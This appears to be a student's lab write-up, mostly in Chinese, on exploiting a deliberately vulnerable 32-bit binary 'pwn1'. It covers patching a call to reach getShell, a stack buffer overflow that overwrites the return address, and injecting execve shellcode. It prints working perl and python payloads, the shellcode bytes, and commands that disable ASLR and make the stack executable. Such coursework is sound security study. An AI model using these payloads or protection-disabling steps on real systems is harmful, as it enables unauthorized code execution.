2019-2020-2 network technology 20175211 Exp1 PC platform against reverse break

Practice what

  • Manually modify the executable file, changing the program execution flow, jump directly to getShell function.
  • Bof using the function foo vulnerability, an attacker construct input string, overwriting the return address, trigger getShell function.
  • Injecting a shellcode to produce their own and run this shellcode

Practice

Machine instructions directly modify the program, change the flow of execution

  • Knowledge requirements: Call command, the EIP register, the offset calculation instruction jumps, complement, objdump disassembly instruction, hexadecimal editing tools
  • Learning objectives: understanding and machine executable instructions
  • Advanced: grasp the ELF file format, to master the dynamic technology

First run the pwn1file and found that its function is output as the input string

Use the command objdump -d pwn1 | moredisassemble elf file

Master NOP, JNE, JE, JMP, CMP machine code assembler instructions:

  • NOP: "no operation" no operation, the machine code 0x90
  • JNE: "not equal" ranging jump, machine code 0x75
  • JE: equal, jump, machine code 0x74
  • JMP: Unconditional Jump
    • Direct transfer of short inner segment Jmp short, machine code 0xEB;
    • Direct transfer segment near the Jmp near, 0xE9 machine code;
    • The indirect transfer section Jmp word, machine code 0xFF;
    • Direct inter-segment (far) transfer Jmp far, the machine code 0xEA
  • CMP: compare instruction, CMP instruction function corresponds to subtraction. It does not save the results, only affect the corresponding flag, machine code 0x39

Elf can find this file, there are three functions, main, , foo, getShellin which getShellfunction is what we want the program to jump to the place

可以看到main中有一条call指令调用了foo,我们要做的就是把这里改成call getShell。这里的机器码是e8 d7 ff ff ffe8call的机器码,后面的d7 ff ff ff就是调用的foo的地址。
这个值的算法是:用EIP的值减掉跳转地址的值,然后取补码;当然用跳转地址减EIP也是一样的。比如这里当程序运行到call时,EIP指向下一条语句,也就是80484bafoo函数的地址是8048491,可以计算得出ff ff ff d7,这里用小端法表示就和elf文件中一样了。

同样的方法我们可以算出如果要跳转到getShell的话,这里应该是c3 ff ff ff

接下来我们用vim直接修改elf文件。可以先用readelf命令看到各个段在文件中的偏移,其中保存着代码的.text段是从380开始,长度1c2

用vim打开文件,输入:%!xxd,搜索d7ff可以找到对应的地方,且在.text段中,基本可以认定这就是我们要改的地方

d7改成c3之后,输入:%!xxd -r复原,然后保存退出。
此时在反汇编可以看到call getShell

再执行pwn1,发现可以getshell

通过构造输入参数,造成BOF攻击,改变程序执行流

main函数调用foo,首先执行push %ebp将调用者基址压栈;然后mov%ebp%esp设成一样的,作为当前函数的基址;sub开辟栈帧,大小为0x38;接下来为临时变量分配0x1c的空间;在然后foo函数调用了getsgets会在不做任何检查的情况下将输入的字符串复制到栈中。
那我们要覆盖栈中的返回地址,就需要28+4=32个字节

然后我们尝试覆盖,输入111122223333444455556666777788889999共36个字节,然后程序报了段错误,此时EIP的值为9999,这个地址是访问不了的,自然会报错,这也说明我们覆盖成功

接下来只要把这里的9999改成我们想要程序跳转的地址就可以了,也就是getShell的地址0804847d,之前知道这个文件是小端序的,所以我们的输入应该是小端法输入。这里因为payload里有不可见字符,所以我们不能直接运行pwn1,可以通过python或者perl的命令行加上管道符来实现,比如(python -c "print '11112222333344445555666677778888\x7d\x84\x04\x08'";cat) | ./pwn1
或者(perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"';cat) | ./pwn1,其中cat很关键,能维持交互的状态

注入Shellcode并执行

shellcode就是一段机器指令(code)

  • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
  • 所以这段机器指令被称为shellcode。
  • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

准备shellcode

针对不同的平台和不同的目的,可能会有多种shellcode,我们可以从著名的shellcode数据库http://shell-storm.org/shellcode/去找一个适合的。
这里我们就直接使用老师提供的\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

这个shellcode的大概原理是:EAX被赋值为0Xb,ECX入栈,/bin//sh字符串入栈,并将其首地址赋给了EBX,执行int 80h,触发中断,调用sys_execve("/bin//sh", 0, 0, 0),通过/bin/sh软链接打开一个shell。

准备工作

要让注入的shellcode执行其实需要有一定条件,我们这里为了简化,需要关掉一些防护措施

execstack -s pwn1    //设置堆栈可执行
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

构造要注入的payload

Linux下有两种基本构造攻击buf的方法:

  • retaddr + nop + shellcode
  • nop + shellcode + retaddr
    因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
    简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

如果尝试nop + shellcode + retaddr,我们最后会发现ret之后push %ebx的操作会把我们的shellcode覆盖。所以我们这里还是采用retaddr + nop + shellcode的方法。

由于之前我们已经算出要覆盖retaddr需要的字节数,所以我们可以直接构造(perl -e 'print "A" x 32;print "\x01\x02\x03\x04\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"';cat)|./pwn1去找地址。这里的nop\x90其实没有也无所谓,因为我们很清楚地知道shellcode就在retaddr之后

ps查看pid之后用gdbattach,把断点断在foo()->ret,这样我们可以看到我们注入的代码会溢出到哪。

c执行代码,成功断下,info r esp可以看到当前栈顶的地址,x/16x 0xffffd33c查看此地址后面16字节的内容。不出意料,我们测试的retaddr在栈顶,只要把这个地址改为能运行到shellcode--也就是这后面4个字节开外的地方就行了。所以最终的payload就是0xffffd33c + 4 = 0xffffd340(perl -e 'print "A" x 32;print "\x40\xd3\xff\xff\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"';cat)|./pwn1

成功getshell

实践拓展

卑微web手想体验一下pwn手的感觉,安装了IDA,gdb的peda、pwndbg插件和pwntools,我们换个手段再来一次。
首先checksec判断一下防护情况,作为一个简单的例子,防护关的很干净。

我们在反汇编后知道这里有个BOF漏洞,利用的时候可以更简单一点。用cyclic 50生成每4个字节不重复的字符串

用gdb打开pwn1,粘贴复制刚生成的字符串

运行后查看EIP的值为iaaa

再运行cyclic -l iaaa就可以得到需要覆盖的偏移量。

gdb反汇编看一下getShell()的地址

用pwntools来交互,很方便地getShell

感谢PwnKi师傅在线教学,二进制属实好玩

回答问题

实验收获与感想

栈溢出应该是最经典的二进制漏洞之一了,这种底层的漏洞往往需要技术人员有很扎实的基本功和对计算机系统的深入了解,我觉得越是这样接近底层,越是体现出信息安全人员geek的一面。不管怎么说,计算机是由人创造的,它的规则是有迹可循的,只要对程序运行的机制足够了解,完成这样的攻击不是难事。

什么是漏洞?漏洞有什么危害?

漏洞,是指计算机系统或者信息系统中安全方面,可以被他人利用的缺陷。
漏洞可能使得系统或数据的保密性、完整性、可用性等面临威胁。

Guess you like

Origin www.cnblogs.com/20175211lyz/p/12402903.html